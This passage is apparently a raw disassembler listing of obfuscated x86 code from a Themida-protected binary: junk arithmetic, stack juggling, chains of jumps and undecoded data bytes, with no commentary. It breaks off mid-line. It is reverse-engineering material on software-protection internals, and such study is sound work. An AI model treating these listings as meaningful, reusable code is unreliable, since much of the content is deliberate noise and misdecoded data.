--------------------------------------------------------------------------- loc_555081: ; CODE XREF: Themida_:0054C5F6j or edx, eax shl edx, 1 sub esp, 4 mov [esp], eax push ebp mov ebp, 3E1D7CEFh jmp loc_549FB8 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 4C4815Ah, 52000000h, 0DE9E289h, 5CFFFF58h dd 0E924048Fh, 0FFFF7B16h ; --------------------------------------------------------------------------- loc_5550B4: ; CODE XREF: Themida_:00550717j add esi, edi pop edi sub esi, 4 jmp loc_54C194 ; --------------------------------------------------------------------------- loc_5550BF: ; CODE XREF: Themida_:00555DE3j xor ebx, 0AF0DE8Ch mov ecx, ebx pop ebx dec ecx jmp loc_552273 ; --------------------------------------------------------------------------- dw 86BAh dd 4A5B8201h, 713D8E0Fh, 0E942FFFFh, 0FFFFDAB6h ; --------------------------------------------------------------------------- loc_5550E0: ; CODE XREF: Themida_:0054F039j add ecx, 4 xchg ecx, [esp] pop esp loc_5550E7: ; CODE XREF: Themida_:0054EFE8j ; Themida_:0054F79Bj push dword ptr [esp] pop ebx jmp loc_554774 ; --------------------------------------------------------------------------- loc_5550F0: ; CODE XREF: Themida_:00554B9Bj push edx push ebp push ebx mov ebx, 1ADF5A4Bh add ebx, 4DA22DE7h jmp loc_5528FB ; --------------------------------------------------------------------------- loc_555103: ; CODE XREF: Themida_:00554D48j mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 1154374Bh sub esi, 7E2923CCh push ecx jmp loc_551AE6 ; --------------------------------------------------------------------------- dw 489h dd 5E08924h, 4, 8704E883h, 895C2404h, 2BA2414h, 0E9000000h dd 0FFFF3DB3h ; --------------------------------------------------------------------------- loc_555144: ; CODE XREF: Themida_:005529F0j mov dx, [esp] sub esp, 4 mov [esp], edi push esp jmp loc_54EF1D ; --------------------------------------------------------------------------- loc_555154: ; CODE XREF: Themida_:0054D56Dj add edx, 4 xchg edx, [esp] pop esp sub eax, ebx pop ebx jmp loc_55564B ; --------------------------------------------------------------------------- loc_555163: ; CODE XREF: Themida_:0054B00Aj add ebp, 7E1B09C9h add esi, ebp pop ebp add esi, 4 push esi jmp loc_550DC1 ; --------------------------------------------------------------------------- loc_555178: ; CODE XREF: Themida_:0054B23Cj pop eax jmp loc_54C6F6 ; --------------------------------------------------------------------------- loc_55517E: ; CODE XREF: Themida_:00553D82j mov ebp, 29D2197Dh add ebp, 0BC934F4h and esi, ebp pop ebp jmp loc_555C42 ; --------------------------------------------------------------------------- loc_555191: ; CODE XREF: Themida_:00554178j mov ebp, [esp] add esp, 4 shl edi, 4 shl edi, 6 add edi, 3F387D61h xor edi, 743C2D23h sub edi, 1 xor edi, 62CBF749h add ecx, edi pop edi pop ebx xchg ecx, [esp] mov esp, [esp] push dword ptr [edi+eax*4] xor dword ptr [esp], 75BA2B93h jmp loc_552140 ; --------------------------------------------------------------------------- db 0ADh, 53h, 0BBh dd 281705F2h, 0C6000905h, 2DD8010Ch, 0CC60009h, 3F6C685Bh dd 34890000h, 5E8CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5551F2: ; CODE XREF: Themida_:0054F0B3j xor ebp, edi pop edi xor eax, ebp push dword ptr [esp] jmp loc_5555C1 ; --------------------------------------------------------------------------- loc_5551FF: ; CODE XREF: Themida_:00552B6Aj mov dh, al pop eax add dh, 0C4h neg dh neg dh jmp loc_54CFC1 ; --------------------------------------------------------------------------- dw 0EF81h dd 186C58E8h, 0FF3D99E9h, 4BEFFh, 0F2290000h, 0DBDCE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555226: ; CODE XREF: Themida_:0054CA73j sub bl, al jmp loc_54E7B7 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 7B8040B8h, 77ABE96Eh, 0DF68FFFFh, 8900000Eh, 0E956240Ch dd 0FFFFA19Bh, 0B6399735h, 8D0F4843h, 0FFFF52B2h, 5269E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55525A: ; CODE XREF: Themida_:0054F83Fj pop esp mov [esp], eax mov eax, esp push edx mov edx, 4 add eax, edx pop edx sub esp, 4 mov [esp], edx mov edx, 4 add eax, 1CED1800h jmp loc_54C80E ; --------------------------------------------------------------------------- loc_55527E: ; CODE XREF: Themida_:005554CEj mov esp, [esp] push ecx mov ecx, 74C3182Eh shl ecx, 8 xor ecx, 35FB0E49h push edx mov edx, 41BE1BDAh jmp loc_55158A ; --------------------------------------------------------------------------- db 52h dd 917777BAh, 0F058E923h, 8B66FFFFh, 0A682404h, 8900003Bh dd 8B542404h, 0C4812404h, 4, 0FF615EE9h, 242C8BFFh, 0E904C483h dd 0FFFFD44Ch, 4D5BDD29h, 6A5BF581h, 1505E817h, 52B7E2Ah dd 9085516h, 162DE829h, 2D090855h, 2B7E2A15h, 51242C8Bh dd 0C1815954h, 4, 4C181h, 0C870000h, 0F7685C24h, 8900005Ch dd 5DBE2434h, 2D0AC699h, 3BC83385h, 4CE9F029h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55531B: ; CODE XREF: Themida_:0054D5E3j pop ebp sub esi, 2 xchg esi, [esp] mov esp, [esp] mov [esp], bx jmp loc_54F84C ; --------------------------------------------------------------------------- loc_55532E: ; CODE XREF: Themida_:0054F210j sub bl, 9Ch add bl, 80h mov ax, [esp] add esp, 2 sub bl, al add bl, 2Eh movzx eax, al push small 7FBEh mov [esp], ax jmp loc_548929 ; --------------------------------------------------------------------------- dd 24048B66h, 2BA568h, 240C8900h, 0BD55E189h, 4, 3FA1E981h dd 1DE9521Dh db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55536F: ; CODE XREF: Themida_:005538A0j add esp, 4 mov [ebx], al pop eax push dword ptr [esp] pop ebx push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_54D9BD ; --------------------------------------------------------------------------- loc_555391: ; CODE XREF: Themida_:005523A0j add al, bh pop ebx add al, dl sub al, 0ACh jmp loc_5539F9 ; --------------------------------------------------------------------------- loc_55539D: ; CODE XREF: Themida_:00555B41j shr ecx, 1 jmp loc_551999 ; --------------------------------------------------------------------------- loc_5553A4: ; CODE XREF: Themida_:005518C5j mov edi, 3A744917h mov ebp, edi pop edi jmp loc_54D9A3 ; --------------------------------------------------------------------------- loc_5553B1: ; CODE XREF: Themida_:0054F8DCj dec dl push cx mov ch, 0DDh jmp loc_54E69D ; --------------------------------------------------------------------------- loc_5553BC: ; CODE XREF: Themida_:00553702j pop edi push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] mov esp, [esp] jmp loc_54C1AE ; --------------------------------------------------------------------------- loc_5553DF: ; CODE XREF: Themida_:005539E5j neg dh xor dh, 0F1h sub bl, dh jmp loc_54C0B6 ; --------------------------------------------------------------------------- db 0ACh dd 0EC81D830h, 4, 50240C89h, 2E7E9h, 48F5A00h, 0C4815C24h dd 4, 9C240CFFh, 0FF3518E9h db 0FFh ; --------------------------------------------------------------------------- loc_555411: ; CODE XREF: Themida_:0054C6C4j ; Themida_:00552017j pop esi or ebp, 7CAC0FE5h jg loc_54F765 sub esp, 4 mov [esp], esi jmp loc_54CE26 ; --------------------------------------------------------------------------- loc_555429: ; CODE XREF: Themida_:loc_554F97j push ebx mov ebx, 0A0028091h add ebp, ebx pop ebx jmp loc_54EF44 ; --------------------------------------------------------------------------- loc_555437: ; CODE XREF: Themida_:0054AF2Aj mov [esp], edx mov edx, 34212883h neg edx jle loc_549303 jmp loc_54D5C8 ; --------------------------------------------------------------------------- dd 51242C8Bh, 7E34E189h, 0EBC1E3D1h, 4EBC105h, 5644EB81h dd 0D901001Bh, 4B8505Bh, 1000000h, 0C8758C1h, 24248B24h dd 7E685056h, 0FF173D7Ch, 83582434h, 0E8C104C4h, 6E0C107h dd 8CED840Fh, 0F48FFFFh, 0FFE4288Fh, 0FA5A35FFh, 0C689108Ah dd 8ACD8B58h, 1C77FFC0h, 1058669Dh, 0E99C2404h, 0FFFF3479h ; --------------------------------------------------------------------------- loc_5554B0: ; CODE XREF: Themida_:0055063Ej xchg ebp, [esp] pop esp shl word ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_5554BE: ; CODE XREF: Themida_:0054ADBAj push 4214h mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_55527E ; --------------------------------------------------------------------------- db 53h dd 83555B54h, 0C8904ECh, 5728B924h, 0CD8934BFh, 7E48E959h dd 0F781FFFFh, 6A80242Bh, 3434F781h, 0F7816DC8h, 63DADAC7h dd 2F29AB2Dh, 56F80141h, 2F29ABBEh, 71CE941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55550E: ; CODE XREF: Themida_:00551C6Ej push edi mov edi, esp jmp loc_54BD86 ; --------------------------------------------------------------------------- dw 0C383h dd 241C8704h, 124248Bh, 39E959CEh db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555527: ; CODE XREF: Themida_:0054DFE5j add esi, 4 add esi, 4 xchg esi, [esp] pop esp add eax, 32B31B7h jmp loc_54B9CA ; --------------------------------------------------------------------------- loc_555541: ; CODE XREF: Themida_:0054D583j push 1016h mov [esp], eax jmp loc_548929 ; --------------------------------------------------------------------------- loc_55554E: ; CODE XREF: Themida_:0054BEFCj add ecx, 4 xchg ecx, [esp] pop esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54B555 ; --------------------------------------------------------------------------- loc_55556A: ; CODE XREF: Themida_:005489A1j ; Themida_:00553149j sub eax, ebp push dword ptr [esp] pop ebp jmp loc_5511C0 ; --------------------------------------------------------------------------- db 81h, 0CBh, 70h dd 0F55564Ah, 0FFBC3F84h, 7D91E9FFh, 0E829FFFFh, 2404875Dh dd 0E924248Bh, 0FFFFF9D8h, 0B151D828h, 0D16EE96Bh, 15DFFFFh dd 69E981D1h, 0E945F553h, 0FFFF896Ch ; --------------------------------------------------------------------------- loc_5555AC: ; CODE XREF: Themida_:00552A26j pop ax sub dl, 9Eh add ch, 0E8h sub ch, dl sub ch, 0E8h mov edx, [esp] jmp loc_554906 ; --------------------------------------------------------------------------- loc_5555C1: ; CODE XREF: Themida_:00550D43j ; Themida_:005551FAj mov ebp, [esp] add esp, 4 jmp loc_54F9B3 ; --------------------------------------------------------------------------- db 68h dd 7FBh, 0FF80D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5555D9: ; CODE XREF: Themida_:0054E1A2j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_54C5DC ; --------------------------------------------------------------------------- dw 0E800h dd 592434FFh, 0BD69E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5555F6: ; CODE XREF: Themida_:0055324Aj add edx, 0EC5FBD89h add edx, 5E0A2Ah neg edx ja loc_54F34A add edx, 1 and edx, 59832A61h jle loc_548A5F dec edx jle loc_550578 sub edx, 1981203Eh mov edi, edx pop edx and eax, edi jmp loc_54F6D9 ; --------------------------------------------------------------------------- loc_555633: ; CODE XREF: Themida_:loc_554142j or edx, 7F0C0425h jg loc_54C6B8 inc edx jnz loc_550F6D push 2A40h loc_55564B: ; CODE XREF: Themida_:0055515Ej or eax, 30047FD9h shr eax, 2 add eax, 0F3E02809h and ecx, eax pop eax shr ecx, 0Bh push 4AB6h mov [esp], edx push 0A9Dh mov [esp], ebx jmp loc_54AF5C ; --------------------------------------------------------------------------- db 0BEh dd 89F6059h, 0FF9590E9h, 8E3C1FFh, 0E903EBC1h, 0FFFFBA94h dd 0B850E289h, 6E3E2B85h, 2D582435h, 0F7D8F707h, 643A2DD8h dd 32E91547h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5556A3: ; CODE XREF: Themida_:00550A01j jo loc_55581D xor ebx, 44514F65h jnb loc_551B63 jmp loc_551D83 ; --------------------------------------------------------------------------- dw 0E589h dd 0FFDAD6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5556C1: ; CODE XREF: Themida_:00555913j add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_54A729 ; --------------------------------------------------------------------------- dd 85BD555Fh, 0E94EA414h, 0FFFFB577h, 4EE9BCB4h, 5DFFFFABh dd 5104C183h, 42474FFh, 81240C8Bh, 4C4h, 24048F00h, 0FF24248Bh dd 81582434h, 4ECh, 39F6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555712: ; CODE XREF: Themida_:0054B103j ; Themida_:0054FB02j mov edi, 40450D18h push 204h mov [esp], eax jmp loc_54BBA9 ; --------------------------------------------------------------------------- loc_555724: ; CODE XREF: Themida_:0054C034j shr eax, 1 jnz loc_553695 neg eax ja loc_549F62 sub eax, 0DA765825h push ebp loc_55573A: ; CODE XREF: Themida_:0054E74Dj jmp loc_54D4D6 ; --------------------------------------------------------------------------- loc_55573F: ; CODE XREF: Themida_:00554E16j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_555B30 ; --------------------------------------------------------------------------- loc_555753: ; CODE XREF: Themida_:00553041j add edx, 55EA2B3h sub eax, edx pop edx push ebp jmp loc_549611 ; --------------------------------------------------------------------------- loc_555762: ; CODE XREF: Themida_:0054D817j push dword ptr [esp] jmp loc_54E7A3 ; --------------------------------------------------------------------------- loc_55576A: ; CODE XREF: Themida_:00553870j mov ch, al pop eax xor ch, 5Fh or ch, 71h push edx jmp loc_5535C0 ; --------------------------------------------------------------------------- loc_555779: ; CODE XREF: Themida_:0055346Fj mov esi, [esp] add esp, 4 add esp, 4 push ebx push ecx mov ecx, 2E2515AEh sub ecx, 1 dec ecx and ecx, 6F9E25A1h xor ecx, 3ECD3BAFh xor ecx, 3B3630EDh mov ebx, ecx pop ecx push ecx mov ecx, 42AEFE91h xor ebx, ecx pop ecx sub esp, 4 mov [esp], edi push esp pop edi jmp loc_54B688 ; --------------------------------------------------------------------------- dw 58B5h dd 285BFD30h, 0E82858C5h, 0EC835966h, 241C8904h, 0FF4147E9h db 0FFh ; --------------------------------------------------------------------------- loc_5557D5: ; CODE XREF: Themida_:0054E220j shr ebx, 5 js loc_552C12 jmp loc_55486E ; --------------------------------------------------------------------------- loc_5557E3: ; CODE XREF: Themida_:0055155Aj pop edi jmp loc_555049 ; --------------------------------------------------------------------------- loc_5557E9: ; CODE XREF: Themida_:0054B2B6j ; Themida_:0054CBBDj push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_54DF71 ; --------------------------------------------------------------------------- db 5Fh, 83h, 0ECh dd 24148904h, 4BAh, 0ECE98100h, 0E9590F29h, 0FFFF90B5h dd 5A2434FFh, 0FFC4EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55581D: ; CODE XREF: Themida_:loc_5556A3j xor ebx, 44514F65h jnb loc_55384D jmp loc_553D28 ; --------------------------------------------------------------------------- dw 0EB81h dd 496D6C8Ch, 9524362Ch ; --------------------------------------------------------------------------- loc_555838: ; CODE XREF: Themida_:00554775j push esp jmp loc_554C13 ; --------------------------------------------------------------------------- loc_55583E: ; CODE XREF: Themida_:0055005Ej mov ebx, ebp pop ebp sub [edi+24h], ebx pop ebx loc_555845: ; CODE XREF: Themida_:0054BEC4j push 1E39h jmp loc_552EE0 ; --------------------------------------------------------------------------- loc_55584F: ; CODE XREF: Themida_:00554538j pop eax add cl, 4Dh add al, 62h jmp loc_55377C ; --------------------------------------------------------------------------- dw 0EB81h dd 4625534Dh, 2CE9D831h, 61FFFFEAh, 89C6E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55586E: ; CODE XREF: Themida_:0054B0D0j add esp, 4 push edx mov edx, 11D16B0Ah add edx, 52423D18h add edx, 0FFFFFFFFh not edx xor edx, 0B7E70A94h xor eax, edx pop edx mov edx, [esp] add esp, 4 push 52C1h mov [esp], ebp push edi mov edi, 2000h jmp loc_54A0E3 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 87000000h, 575C2414h, 2E1B59BFh, 9CF7814Fh, 0E93D5C55h dd 0FFFF37FCh, 5C242C87h, 4D15C381h, 0A1E93D36h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5558D7: ; CODE XREF: Themida_:005528F6j pop dword ptr [esp] pop esp add [esp], al pushf jmp loc_551979 ; --------------------------------------------------------------------------- loc_5558E4: ; CODE XREF: Themida_:0054DD10j push 5B50378Eh jmp loc_54D38B ; --------------------------------------------------------------------------- loc_5558EE: ; CODE XREF: Themida_:00552C36j sub edx, ebx pop ebx sub edx, 4B021D77h jmp loc_554A86 ; --------------------------------------------------------------------------- dd 4C781h, 1AE90000h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555907: ; CODE XREF: Themida_:0054F611j pop edi add esp, 4 add ebx, edx push ebx mov ebx, esp jmp loc_5556C1 ; --------------------------------------------------------------------------- loc_555918: ; CODE XREF: Themida_:005513D1j push edx mov dl, 0FAh sub dl, 1 inc dl jmp loc_550286 ; --------------------------------------------------------------------------- loc_555925: ; CODE XREF: Themida_:00551F29j add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] div ecx push 162Dh mov [esp], edx push eax pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_55593F: ; CODE XREF: Themida_:loc_54FEB9j jmp loc_551F84 ; --------------------------------------------------------------------------- loc_555944: ; CODE XREF: Themida_:0054BF46j ; Themida_:0054FC83j pop esp jmp loc_548929 ; --------------------------------------------------------------------------- dw 1487h dd 2C895C24h, 31196824h, 24890000h, 24048124h, 4, 57242C8Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 0C5815C24h, 4, 2BF57h dd 0FD010000h, 0FF8661E9h db 0FFh ; --------------------------------------------------------------------------- loc_555989: ; CODE XREF: Themida_:0054B160j ; Themida_:005502A1j mov ebp, [esp] add esp, 4 add ebx, 2 jmp loc_54F31F ; --------------------------------------------------------------------------- dw 0C89h db '$hс`',0 align 2 aIVhu db '┴<$Vhu]',0 dw 8900h dd 0C389241Ch, 565BDE89h, 2B240481h, 5F748E46h, 462BEF81h dd 34FF748Eh, 0C4835E24h, 8BF98904h, 7AE9243Ch db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5559D3: ; CODE XREF: Themida_:00551563j pop edx push esi mov esi, 4 push edi mov edi, 58511F46h and edi, 17F36E2Ch neg edi add edi, 1A155582h sub edx, 688A1EA2h sub edx, edi jmp loc_5518CA ; --------------------------------------------------------------------------- db 0FEh dd 885251C3h, 0E9F588DEh, 0FFFF5012h ; --------------------------------------------------------------------------- loc_555A08: ; CODE XREF: Themida_:0054A5BDj mov [esp], edx mov edx, 0DEB3C2CFh jmp loc_54BE3A ; --------------------------------------------------------------------------- loc_555A15: ; CODE XREF: Themida_:loc_555065j sub cx, 803Ch sub cx, bx jmp loc_5548FD ; --------------------------------------------------------------------------- loc_555A22: ; CODE XREF: Themida_:00552BEFj push eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp add bl, 0E4h add bl, 0E4h jmp loc_5539D2 ; --------------------------------------------------------------------------- dw 0EF80h dd 0DEF7803Dh, 0FF9263E9h, 28E95EFFh, 1FFFF74h, 0FF525DEAh dd 8B042474h, 67E92414h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A5B: ; CODE XREF: Themida_:0054D394j jp loc_54CAE8 jmp loc_5541CC ; --------------------------------------------------------------------------- dw 421h dd 0BAE99C24h, 56FFFF2Eh, 0C6815E54h, 4, 4310E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A7E: ; CODE XREF: Themida_:005523AFj add al, 66h pop ecx push 4BFCh mov [esp], edi jmp loc_54EEC0 ; --------------------------------------------------------------------------- dw 815Eh dd 0B834E1C3h, 81F30175h, 0B834E1EBh, 5D91E975h, 0BB58FFFFh dd 45286233h, 0FFD294E9h db 0FFh ; --------------------------------------------------------------------------- loc_555AAD: ; CODE XREF: Themida_:0055140Dj xor edi, 8D7FA833h and ebp, edi pop edi sub ebp, 700076C1h jmp loc_54CE50 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4EC8358h, 81241C89h, 4ECh, 24248900h, 4240483h, 6B5DE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555ADE: ; CODE XREF: Themida_:0054E5B2j add esi, 0F1D61CF1h jmp loc_548BE1 ; --------------------------------------------------------------------------- loc_555AE9: ; CODE XREF: Themida_:00553745j neg edx jmp loc_552236 ; --------------------------------------------------------------------------- dd 0E4D7E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555AF6: ; CODE XREF: Themida_:0054CF84j mov dl, bl pop ebx mov ch, dl pop edx add al, 0ECh add al, ch sub al, 0ECh pop cx jmp loc_54D971 ; --------------------------------------------------------------------------- loc_555B09: ; CODE XREF: Themida_:00549248j ; Themida_:loc_552179j shr edx, 1 jmp loc_548FF2 ; --------------------------------------------------------------------------- dd 7D7BC235h, 0EE95935h db 2Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555B1B: ; CODE XREF: Themida_:005530EEj add esi, 4 add esi, 4 jmp loc_5539EA ; --------------------------------------------------------------------------- loc_555B29: ; CODE XREF: Themida_:0054E61Fj sub ecx, edi jmp loc_54A95B ; --------------------------------------------------------------------------- loc_555B30: ; CODE XREF: Themida_:0055574Ej pop esp mov [esp], ebx push ecx push 117F01C1h pop ecx sub ecx, 63CD048Ch jmp loc_55539D ; --------------------------------------------------------------------------- aPC db 'P╦Ф]',7,0 dd 0BC7DC025h, 0D0F7480Bh, 0B9892A35h, 58C109F9h, 1493BD55h dd 0E901C93Dh, 59CE015Dh, 2474FF56h, 24348B04h, 0FFC632E9h db 0FFh ; --------------------------------------------------------------------------- loc_555B75: ; CODE XREF: Themida_:00554155j dec ch add ch, 0E9h mov bl, 4Ch add bl, ch pop ecx dec bl jmp loc_5500AE ; --------------------------------------------------------------------------- loc_555B86: ; CODE XREF: Themida_:00551A0Bj mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp imul ecx, eax push ecx pushf jmp loc_548929 ; --------------------------------------------------------------------------- dd 0A178E9ACh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555BA2: ; CODE XREF: Themida_:00550036j push dword ptr [esp] mov eax, [esp] jmp loc_551C73 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 81F44BFh, 6A6BE96Dh, 0BA52FFFFh, 245D17CEh, 295AD001h dd 0CEB951C8h, 0E9245D17h, 0FFFF9C45h ; --------------------------------------------------------------------------- loc_555BD0: ; CODE XREF: Themida_:005506AEj mov ebx, [esp] push eax jmp loc_54B1E5 ; --------------------------------------------------------------------------- loc_555BD9: ; CODE XREF: Themida_:005507CAj push edx jmp loc_548AF5 ; --------------------------------------------------------------------------- db 51h dd 0E9240CFFh, 0FFFFA6E3h, 7CE9E789h, 29FFFFB5h, 3AE95BD8h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555BF7: ; CODE XREF: Themida_:0054E8C4j sub edx, 20EF70E7h xor edx, 0BD437AD7h add ecx, edx pop edx jmp loc_553BDF ; --------------------------------------------------------------------------- loc_555C0B: ; CODE XREF: Themida_:00550338j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_548AC1 ; --------------------------------------------------------------------------- db 0B9h, 0F7h, 83h dd 0C8015B26h, 58C58959h, 94ACE950h, 0F001FFFFh, 0BBC4E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555C32: ; CODE XREF: Themida_:loc_549940j push ebp mov ebp, 33212954h jmp loc_54EB6D ; --------------------------------------------------------------------------- loc_555C3D: ; CODE XREF: Themida_:0055350Aj jmp loc_551971 ; --------------------------------------------------------------------------- loc_555C42: ; CODE XREF: Themida_:0055518Cj push ebp push 27BEh mov [esp], edi mov edi, 0 jmp loc_54BF6D ; --------------------------------------------------------------------------- loc_555C55: ; CODE XREF: Themida_:005510B7j sub edx, esi pop esi mov ebp, [esp] add esp, 4 jmp loc_54EC80 ; --------------------------------------------------------------------------- loc_555C63: ; CODE XREF: Themida_:00549EF2j pop esp mov cx, [esp] push 4D32h mov [esp], ebx push 78DFh mov [esp], esp jmp loc_5500FE ; --------------------------------------------------------------------------- loc_555C7D: ; CODE XREF: Themida_:00552468j inc esi sub esp, 4 mov [esp], esi not dword ptr [esp] mov esi, [esp] add esp, 4 push eax jmp loc_554E1B ; --------------------------------------------------------------------------- dw 8B66h dd 18682404h, 8900002Dh, 77682414h, 89000009h, 4832424h dd 535A0424h, 0FFF5E6E9h, 4C281FFh, 56000000h, 0FFF558E9h dd 45E981FFh, 89EA47EDh, 0BD5559CEh, 50862F71h, 30EFBE56h dd 0EE8137ADh, 0C347FB94h, 815EF501h, 0C4084FEDh, 8BE829ABh dd 0C481242Ch, 4, 7D05F029h, 5E19275Ch, 99E9D829h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555CFF: ; CODE XREF: Themida_:00552409j push dword ptr [esp] pop ebp push ebp mov ebp, esp jmp loc_549238 ; --------------------------------------------------------------------------- loc_555D0B: ; CODE XREF: Themida_:0054A580j add esi, ebx pop ebx push esi jmp loc_54A106 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFA7F5h, 0BF243C89h, 2, 4F2F8505h, 55F80124h dd 4F2F85BDh, 5BB8E924h, 0CD81FFFFh, 28712DA8h, 0FF9F1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_555D41: ; CODE XREF: Themida_:0054CE6Ej xor edi, [esp] jmp loc_54F55B ; --------------------------------------------------------------------------- loc_555D49: ; CODE XREF: Themida_:00553574j mov dl, 54h sub dl, 1 add dl, 53h push 4093h mov [esp], ebx push edx push eax jmp loc_550649 ; --------------------------------------------------------------------------- dd 5C240487h, 0B9240C89h, 1171427Eh, 419B4FB8h, 0FCF052Eh dd 0C8292912h, 52E968h, 242C8900h, 120FCFBDh, 0E9E82929h dd 0FFFFEFE5h ; --------------------------------------------------------------------------- loc_555D8C: ; CODE XREF: Themida_:0054C66Ej pop ebp jmp loc_54CED6 ; --------------------------------------------------------------------------- dw 0C281h dd 1B8E5C9Bh, 0B0C1815Eh, 1296464h, 0B0E981D1h, 8B296464h dd 0C4832414h, 0BA525304h, 2, 89D18951h, 15A59CBh, 241C8BD9h dd 8704C483h, 665C240Ch, 2404B30Fh, 2B57E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555DD2: ; CODE XREF: Themida_:0054C51Bj mov ebp, [esp] push edi mov edi, esp jmp loc_54A10F ; --------------------------------------------------------------------------- loc_555DDD: ; CODE XREF: Themida_:00552DA3j xor ebx, 101F7E5Ah jge loc_5550BF xor ebx, 0AF0DE8Ch mov ecx, ebx pop ebx dec ecx loc_555DF3: ; CODE XREF: Themida_:00548C0Fj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax jmp loc_54D6C0 ; --------------------------------------------------------------------------- loc_555E07: ; CODE XREF: Themida_:0054939Aj ; Themida_:00554963j jns loc_552B8F not bl jmp loc_554437 ; --------------------------------------------------------------------------- db 0C6h, 0C7h, 54h ; --------------------------------------------------------------------------- loc_555E17: ; CODE XREF: Themida_:00555F88j mov esi, [esp] add esp, 4 add esi, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] div cl movzx cx, ah push ebx jmp loc_55014A ; --------------------------------------------------------------------------- loc_555E3B: ; CODE XREF: Themida_:0054FF3Ej mov ecx, [esp] push eax push esp pop eax push 18EBh jmp loc_54EB1B ; --------------------------------------------------------------------------- db 83h dd 0E95304C4h, 0FFFFB1BEh ; --------------------------------------------------------------------------- loc_555E54: ; CODE XREF: Themida_:0054C220j jmp loc_55409E ; --------------------------------------------------------------------------- loc_555E59: ; CODE XREF: Themida_:00552ECCj jmp loc_54D801 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48124h, 57000000h, 0C781E789h, 4, 4EF81h, 3C870000h dd 34895C24h, 81E68924h, 4C6h, 97BB5300h, 814F336Eh, 0E952EFCBh dd 63A9E955h, 0F75EFFFFh, 36C181D1h, 81614A22h, 29C57DC1h dd 3FF2E9B0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555EAA: ; CODE XREF: Themida_:0054E27Ej add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp movzx eax, al push dword ptr [edi+eax*4] jmp loc_55269F ; --------------------------------------------------------------------------- loc_555EC2: ; CODE XREF: Themida_:0054B642j ; Themida_:005506F9j add ebx, 7A540251h sub ebx, 4E030960h pop ecx jmp loc_551C21 ; --------------------------------------------------------------------------- loc_555ED4: ; CODE XREF: Themida_:0054A306j push edx jmp loc_549DE8 ; --------------------------------------------------------------------------- loc_555EDA: ; CODE XREF: Themida_:00552F91j push edx mov dh, 3Ah shr dh, 5 neg dh sub dh, 11h jmp loc_5522AC ; --------------------------------------------------------------------------- loc_555EEA: ; CODE XREF: Themida_:0054FD7Bj add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_54BEB9 ; --------------------------------------------------------------------------- loc_555EFB: ; CODE XREF: Themida_:0055100Dj mov [esp], ebx mov ebx, 1 jmp loc_554646 ; --------------------------------------------------------------------------- loc_555F08: ; CODE XREF: Themida_:0054B4FDj xor ch, 53h jmp loc_552E9B ; --------------------------------------------------------------------------- loc_555F10: ; CODE XREF: Themida_:00553947j sub edi, ebx pop ebx add edi, 4C253B44h add edi, ecx jmp loc_54E250 ; --------------------------------------------------------------------------- loc_555F20: ; CODE XREF: Themida_:005509B2j pop ebx jmp loc_549FDB ; --------------------------------------------------------------------------- loc_555F26: ; CODE XREF: 